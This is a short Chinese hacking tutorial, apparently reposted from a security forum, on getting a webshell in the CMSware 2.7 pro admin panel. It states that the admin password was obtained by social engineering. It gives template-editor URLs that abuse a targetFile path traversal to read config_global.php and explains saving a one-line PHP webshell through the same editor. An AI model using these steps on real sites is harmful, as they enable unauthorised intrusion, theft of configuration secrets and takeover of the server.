思维内容管理系统(CMSware 2.7 pro) 后台拿 Shell

思维内容管理系统(CMSware 2.7 pro)  后台拿shell

阿易            9769887

keio            编辑

账号密码是社工的   不能上传图片 拿shell

后台登陆界面

后台不能上传图片

模板管理   --公用模板

随便点击一个 模板里面的文件 注意这个sid 特有的

下面是用来列网站目录  需要修改2个地方

列出了网站根目录

http://www.xxxx.net/cms/admin/admin_tpl.php?sId=ed96865b949892f2a1bcb5241c9852dc&o=editor_frameset&extra=edit&PATH=&targetFile=../../config/config_global.php

可以查看源代码

远远不止列源码   因为是linux 系统   又不让建立php的文件 就在

http://www.xxxx.net/cms/admin/admin_tpl.php?sId=ed96865b949892f2a1bcb5241c9852dc&o=editor_frameset&extra=edit&PATH=&targetFile=../../config/config_global.php.111

这样提示访问错误 不要管他

照样写入我们的一句话

保存

转自：https://forum.90sec.org/viewthread.php?tid=3797&extra=page%3D1%26amp%3Borderby%3Ddateline%26amp%3Bfilter%3D2592000

文章来源于lcx.cc:思维内容管理系统(CMSware 2.7 pro) 后台拿 Shell

相关推荐: 【PHP】PHP echo 向浏览器输出字符串函数详解

    PHP echo 向浏览器输出字符串函数详解，PHP echo 向浏览器输出字符串函数，PHP echo 向浏览器输出字符串详解，PHP echo 向浏览器输出字符串，PHP echo 输出字符串函数详解，PHP echo 输出字符串函数，PHP ec…